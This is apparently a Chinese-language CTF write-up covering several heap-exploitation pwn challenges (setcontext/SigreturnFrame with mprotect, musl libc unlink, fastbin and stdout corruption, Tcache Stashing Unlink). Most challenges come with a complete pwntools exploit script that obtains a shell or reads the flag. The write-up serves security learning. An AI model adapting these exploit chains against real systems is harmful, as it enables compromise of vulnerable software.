1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0] <setcontext+60>: mov rbx,QWORD PTR [rdi+0x80] <setcontext+67>: mov rbp,QWORD PTR [rdi+0x78] <setcontext+71>: mov r12,QWORD PTR [rdi+0x48] <setcontext+75>: mov r13,QWORD PTR [rdi+0x50] <setcontext+79>: mov r14,QWORD PTR [rdi+0x58] <setcontext+83>: mov r15,QWORD PTR [rdi+0x60] <setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8] <setcontext+94>: push rcx <setcontext+95>: mov rsi,QWORD PTR [rdi+0x70] <setcontext+99>: mov rdx,QWORD PTR [rdi+0x88] <setcontext+106>: mov rcx,QWORD PTR [rdi+0x98] <setcontext+113>: mov r8,QWORD PTR [rdi+0x28] <setcontext+117>: mov r9,QWORD PTR [rdi+0x30] <setcontext+121>: mov rdi,QWORD PTR [rdi+0x68] <setcontext+125>: xor eax,eax <setcontext+127>: ret
可以直接使用pwntools
中的SigreturnFrame
来构造ucontext_t
结构体
1 2 3 4 5 6 frame = SigreturnFrame() frame.rip = libc.sym['mprotect' ] frame.rsp = shellcode_address frame.rdi = shellcode_address & 0xfffffffffffff000 frame.rsi = 0x1000 frame.rdx = 7
rip
是执行完setcontext
之后需要执行的指令地址,rsp
则是执行完rip
指令之后再次执行的指令地址,即可以连续控制。
可以利用此调用mprotect
关闭不可执行保护之后跳转到shellcode
地址去执行。也可以直接构造rop
链
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 from pwn import *file_path = "./pwn" context.arch = "amd64" context.log_level = "debug" elf = ELF(file_path) debug = 1 if debug: p = process([file_path]) gdb.attach(p, "b*0x4022F7" ) libc = ELF('/home/pwn/Desktop/glibc/x64/glibc-2.23/lib/libc.so.6' ) one_gadget = 0x0 else : p = remote('' , 0 ) libc = ELF('' ) one_gadget = 0x0 def add (length, content ): p.sendlineafter(">> " , "1" ) p.sendlineafter("______?\n" , str (length)) p.sendafter("yes_or_no?\n" , content) def delete (index ): p.sendlineafter(">> " , "2" ) p.sendlineafter("index ?\n" , str (index)) def show (index ): p.sendlineafter(">> " , "3" ) p.sendlineafter("index ?\n" , str (index)) def edit (index, content ): p.sendlineafter(">> " , "4" ) p.sendlineafter("index ?\n" , str (index)) p.sendafter("new_content ?\n" , content) def shut (): p.sendlineafter(">> " , "5" ) name = "1212" p.sendlineafter("is your name?" , name) add(0x40 , "\x90" *0x200 ) add(0x100 , "\x90" *0x200 ) add(0x68 , "\x90" *0x200 ) delete(1 ) delete(2 ) edit(0 , "a" *0x48 +"b" *0x8 ) show(0 ) p.recvuntil("b" *0x8 ) libc.address = u64(p.recv(6 ).ljust(8 , b"\x00" )) - 88 - libc.sym['__malloc_hook' ] - 0x10 main_arena_address = libc.sym['__malloc_hook' ]+0x10 free_hook_address = libc.sym['__free_hook' ] log.success("lib address {}" .format (hex (libc.address))) payload = b'a' *0x48 + p64(0x111 ) payload += p64(main_arena_address + 88 )+ p64(free_hook_address - 0x40 ) payload += b'a' *0xf8 + p64(0x71 ) + p64(free_hook_address - 0x33 ) shellcode_address = 0x603060 +0x100 shellcode = shellcraft.open ("./flag" ) shellcode += shellcraft.read("rax" , "rsp" , 0x100 ) shellcode += shellcraft.write(1 , "rsp" , 0x100 ) edit(0 , payload) add(0x100 , "\x90" *0x200 ) add(0x68 , "\x90" *0x200 ) add(0x68 , b"\x90" *0x100 + (p64(shellcode_address+0x8 ) + asm(shellcode)).ljust(0x100 , b"\x90" )) edit(3 , p64(0 )*4 + b"\x00" *3 + p64(libc.sym['setcontext' ] + 53 )) frame = SigreturnFrame() frame.rip = libc.sym['mprotect' ] frame.rsp = shellcode_address frame.rdi = shellcode_address & 0xfffffffffffff000 frame.rsi = 0x1000 frame.rdx = 7 edit(2 , bytes (frame)) delete(2 ) p.interactive()
Musl 分析 这道题目的libc
库时musl libc 1.1.24
。程序共提供了四种方法add,delete,edit,show
,其中add
函数中可以堆溢出一次,show
函数只能调用一次。
musl
的libc
是简化版的glibc
,其chunk
的数据结构与glibc chunk
类似,但是没有fastbin
这些操作,相同大小的chunk
通过一个双向链表链接起来。申请和释放chunk
的时候没有进行安全检查,只要是fd,bk
指针指向合法的内存就可以。
利用
首先,由于chunk
是通过双向链表进行连接的,因此释放再申请时,堆块中就残留有libc
的地址数据,据此可以泄露出libc
的基址。而mmap
的第一个参数为0
的时候,其映射的地址空间并不是随机的而是和libc
基址有着固定的偏移
因此我们也可以得到mmap
的地址
由于我们可以控制fd,bk
指针,因此可以直接将堆块分配到mmap
地址处
1 2 c->prev->next = c->next; c->next->prev = c->prev;
将prev
即fd
指针设置为mmap_address+8
,那么在对堆块进行unbin
的时候,就会将mmap_address+0x20
的位置写入binmap
的值,而binmap.prev
的值会被改写为mmap_address+8
,这样我们再次申请一块相同大小的chunk
的时候,就会将mmap_address+0x8
代表的堆块分配出来。此时的fd,bk
指针分别为mmap_address+0x18,mmap_address+0x20
,两个内存地址都是可写的,因此没有问题。
此时我们就获得了mmap_address
内存区域的任意写权限,可以通过environ
泄露stack
地址,改写返回地址为rop
链getshell
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 # encoding=utf-8 from pwn import * file_path = "./carbon" context.arch = "amd64" context.log_level = "debug" elf = ELF(file_path) debug = 1 if debug: p = process([file_path], env={"LD_PRELOAD" : "./libc.so" }) gdb.attach(p, "b *0x401090" ) libc = ELF('./libc.so' ) one_gadget = 0x0 else : p = remote('', 0) libc = ELF(' ') one_gadget = 0x0 def add(length, content, choice="n"): p.sendlineafter("> ", "1") p.sendlineafter("size? >", str(length)) p.sendlineafter("a believer? >", choice) p.sendafter("new sleeve >", content) def delete(index): p.sendlineafter("> ", "2") p.sendlineafter("sleeve ID? >", str(index)) def edit(index, content): p.sendlineafter("> ", "3") p.sendlineafter("sleeve ID? >", str(index)) p.send(content) def show(index): p.sendlineafter("> ", "4") p.sendlineafter("sleeve ID? >", str(index)) def shut(): p.sendlineafter("> ", "5") add(0x1, ' a' )show(0 ) libc.address = u64(p.recv(6 ).ljust(8 , b"\x00" )) - 0x292e61 mmap_address = libc.address + 0x290000 log .success("libc address {}" .format(hex(libc.address)))add(0x40 , 'a' *0x40 )#1 add(0x10 , 'a' *0x10 ) add(0x30 , 'a' *0x30 )#3 add(0x10 , 'a' *0x10 ) add(0x30 , 'a' *0x30 )#5 add(0x10 , 'a' *0x10 )#6 delete(3 ) delete(5 ) delete(1 ) add(0x40 , b' a' *0x70 + p64(0x21 ) + p64(0x40 )+ p64(mmap_address+8 )[:6 ]+b"\n" , 'Y' )# 1 add(0x30 , "a" *0x30 ) # 3 add(0x30 , p64(0x602034 ) + p64(0x30 ) + p64(libc.sym['__environ' ])+b"\n" ) #5 edit(1 , p32(0 )+b"\n" ) show(2 ) stack_address = u64(p.recvuntil("Done" , drop=True).ljust(8 , b"\x00" )) log .success("stack address {}" .format(hex(stack_address)))ret_address = stack_address - 0x70 edit(5 , p64(0x602034 ) + p64(0x80 ) + p64(ret_address) + b' \n' ) p_rdi_r = libc.address + 0x14862 get_shell = flat([ p_rdi_r, libc.search(b"/bin/sh" ).__next__(), libc.sym['system' ] ]) edit(2 , get_shell+b"\n" ) p.interactive()
Shortest_path flag
被加载到了两个位置,一个是全局变量处,一个是top chunk
的堆地址处
持续不断地分配chunk
,使得flag
落到name
字段的位置就可以输出flag
了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *file_path = "./Shortest_path" context.arch = "amd64" context.log_level = "debug" elf = ELF(file_path) debug = 1 if debug: p = process([file_path]) gdb.attach(p, "b*0x401475" ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) one_gadget = 0x0 else : p = remote('' , 0 ) libc = ELF('' ) one_gadget = 0x0 def add (index, price, length, name, connected=0 ): p.sendlineafter("options ---> " , "1" ) p.sendlineafter("Station ID: " , str (index)) p.sendlineafter("Station Price: " , str (price)) p.sendlineafter("Station Name Length: " , str (length)) p.sendlineafter("Station Name: \n" , name) p.sendlineafter("connected station: " , str (connected)) def qurey_station (index ): p.sendlineafter("options ---> " , "3" ) p.sendlineafter("Station ID: " , str (index)) add(0 , 0x0 , 0xd7 , "a" *8 ) add(1 , 0x0 , 0xd7 , "a" *8 ) add(2 , 0x0 , 0xd7 , "a" *0xf ) qurey_station(2 ) p.interactive()
Woodenbox 分析 程序存在明显的堆溢出漏洞,并且退出时执行的是double free
,这很明显是要写入one_gadget
。需要注意的是程序没有输出,而且每次删除堆块之后链表都会向前移动一位,即buf_list[0]
会消失。
利用
首先申请一个较大的unsorted bin
并释放使得堆块中残留有mainarena+88
的地址,依次使用两个fastbin
堆块申请,那么最后一个申请的fastbin
中就会存在mainarena+88
的地址数据,我们将其低两位覆写为stderr+157
地址的低两位\x65\xdd
,(这里需要爆破16bit
)
此时我们申请fastbin
堆块并释放,利用堆溢出将fastbin->fd
指针的低1
字节改写为保存有stderr+157
地址的fasbin
堆块地址形成下列结构
那么此时我们连续申请三个fastbin
堆块,就可以将stderr+157
处伪造的堆块申请到,进而可以控制stdout
结构体
修改stdout
结构体的flag
和io_wite_base
泄露stdout
结构体附近地址,得到libc
基址
再次利用fastbin attack
将malloc_hook
改写为one_gadget
地址,getshell
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 # encoding=utf-8 from pwn import * file_path = "./woodenbox2" context.arch = "amd64" context.log_level = "debug" elf = ELF(file_path) debug = 1 if debug: p = process([file_path]) gdb.attach(p, 'b *0x555555555041' ) libc = ELF('/home/pwn/Desktop/glibc/x64/glibc-2.23/lib/libc.so.6' ) one_gadget = 0xcb7c5 else : p = remote('', 0) libc = ELF(' ') one_gadget = 0x0 def add(length, content="12"): p.sendlineafter("Your choice:", "1") p.sendlineafter("length of item name:", str(length)) p.sendafter("name of item:", content) def change(index, length, content): p.sendlineafter("Your choice:", "2") p.sendlineafter("the index of item:", str(index)) p.sendlineafter("the length of item name:", str(length)) p.sendafter("new name of the item:", content) def remove(index): p.sendlineafter("Your choice:", "3") p.sendlineafter("the index of item:", str(index)) def double_free(): p.sendlineafter("Your choice:", "4") add(0x60) # 0 add(0x60) add(0x90) add(0x60) # 4 remove(2) add(0x20) # 1 add(0x60, "\xdd\x65") # 4 add(0x60) add(0x60) remove(4) remove(4) change(0, 0x300, cyclic(0x68) + p64(0x71) + cyclic(0x68) + p64(0x71) + b"\x10") add(0x60) add(0x60) add(0x60, b"\x00" * 3 + p64(0) * 0x6 + p64(0xfbad2887 | 0x1000) + p64(0) * 3 + b"\x00") p.recv(0x40) libc.address = u64(p.recv(6).ljust(8, b"\x00")) + 0x20 - libc.sym[' _IO_2_1_stdout_' ]log .success("libc address {}" .format(hex(libc.address)))add(0x60 ) remove(1 ) change(2 , 0x10 , p64(libc.sym['__malloc_hook' ]-0x23 )) add(0x60 ) add(0x60 , b"\x00" *3 + p64(0 )*2 + p64(one_gadget + libc.address)) double_free() p.interactive()
Twochunk 分析 首先我们先分析一下程序,首先在0x23333000
地址处mmap
了一块内存的地址,并提供了七种操作。
add
函数中,根据用户的输入分配相应大小的内存,但是我们最多可以保存分配得到的两个堆块指针,若用户输入的大小为23333
则调用malloc
分配固定的0xe9
大小,否则调用calloc
分配用户申请的大小。
edit
函数中,我们注意到其可以进行0x20
字节大小的溢出,并且如果用户输入的是23333
则可以进行大范围的堆溢出。
有一次malloc(0x88)
的机会,能够对mmap_address
中指定的地址进行函数调用
利用 只要我们可以将mmap_address
处改写为system
地址,mmap_address+0x30
处改写为/bin/sh\x00
的地址就可以getshell
。但是mmap_address
处的内容是程序一开始就需要输入的,因此我们需要将chunk
分配到mmap_address
处。这就需要利用Tcache Stashing Unlink
。
在small bin
中构造两个0x90
大小的chunk
。构造两个small bin chunk
可以首先构造两个相对较大的unsorted bin
,之后经过两次分配,分割剩余的0x90
进入small bin
中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 add(0 , 0xe9 ) add(1 , 0x130 ) delete(0 ) add(0 , 0x100 ) delete(0 ) add(0 , 0x130 ) delete(1 ) add(1 , 0x140 ) delete(1 ) add(1 , 0xe9 ) delete(0 ) delete(1 ) add(0 , 0xa8 ) add(1 , 0xa8 ) delete(0 ) delete(1 ) add(0 , 0x150 )
使用malloc
申请一块0x100
的tcache
,此时可以泄露堆地址
覆写chunk1
的bk
指针为mmap_address-0x10
,calloc(0x88)
即可将mmap_address
加入tcache
,此时可以泄露libc
基址
调用leave_end_message
使用malloc(0x88)
即可以分配到mmap_address
,布局system
函数和参数,getshell
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 from pwn import *file_path = "./twochunk" context.arch = "amd64" context.log_level = "debug" elf = ELF(file_path) debug = 1 if debug: p = process([file_path]) libc = ELF('/home/pwn/Desktop/glibc/x64/glibc-2.30/lib/libc.so.6' ) one_gadget = 0x0 else : p = remote('' , 0 ) libc = ELF('' ) one_gadget = 0x0 def add (index, size ): p.sendlineafter("choice: " , "1" ) p.sendlineafter("idx: " , str (index)) p.sendlineafter("size: " , str (size)) def delete (index ): p.sendlineafter("choice: " , "2" ) p.sendlineafter("idx: " , str (index)) def show (index ): p.sendlineafter("choice: " , "3" ) p.sendlineafter("idx: " , str (index)) def edit (index, content ): p.sendlineafter("choice: " , "4" ) p.sendlineafter("idx: " , str (index)) p.sendafter("content: " , content) def show_message_name (): p.sendlineafter("choice: " , "5" ) def leave_end_message (content ): p.sendlineafter("choice: " , "6" ) p.sendafter("end message: " , content) def call_mmap (): p.sendlineafter("choice: " , "7" ) mmap_address = 0x23333000 name = p64(mmap_address + 0x30 - 0x10 )*6 message = p64(mmap_address)*6 p.sendafter("your name: " , name) p.sendafter("your message: " , message) for i in range (5 ): add(0 , 0x88 ) delete(0 ) for i in range (7 ): add(0 , 0x130 ) delete(0 ) for i in range (6 ): add(0 , 0xe9 ) delete(0 ) gdb.attach(p, "b *0x55555555596E" ) add(0 , 0xe9 ) add(1 , 0x130 ) delete(0 ) add(0 , 0x100 ) delete(0 ) add(0 , 0x130 ) delete(1 ) add(1 , 0x140 ) delete(1 ) add(1 , 0xe9 ) delete(0 ) delete(1 ) add(0 , 0xa8 ) add(1 , 0xa8 ) delete(0 ) delete(1 ) add(0 , 0x150 ) add(1 , 23333 ) show(1 ) heap_address = u64(p.recv(6 ).ljust(8 , b"\x00" )) + 0x100 log.success("heap address {}" .format (hex (heap_address))) payload = cyclic(0xf8 ) + p64(0xb1 ) + cyclic(0xa8 ) payload += p64(0x91 ) + p64(heap_address + 0x3f0 ) +p64(mmap_address-0x10 ) edit(1 , payload) delete(0 ) add(0 , 0x88 ) show_message_name() p.recvuntil("message: " ) libc.address = u64(p.recv(6 ).ljust(8 , b"\x00" )) - 224 - (libc.sym['__malloc_hook' ] + 0x10 ) log.success("libc address {}" .format (hex (libc.address))) payload = p64(libc.sym['system' ]).ljust(0x30 , b"\x00" ) payload += p64(mmap_address + 0x48 ) + p64(0 )*2 + b"/bin/sh\x00" leave_end_message(payload) call_mmap() p.interactive()
参考 高校战“疫”网络安全分享赛-部分PWN题-wp
从高校战疫的两道kernel学习kernel
Unicorn 在 Android 的应用
easy_unicorn基于unicorn的“沙盒逃逸”
unicorn沙箱下的pwn
高校战“疫”网络安全分享赛 2020 SU Write Up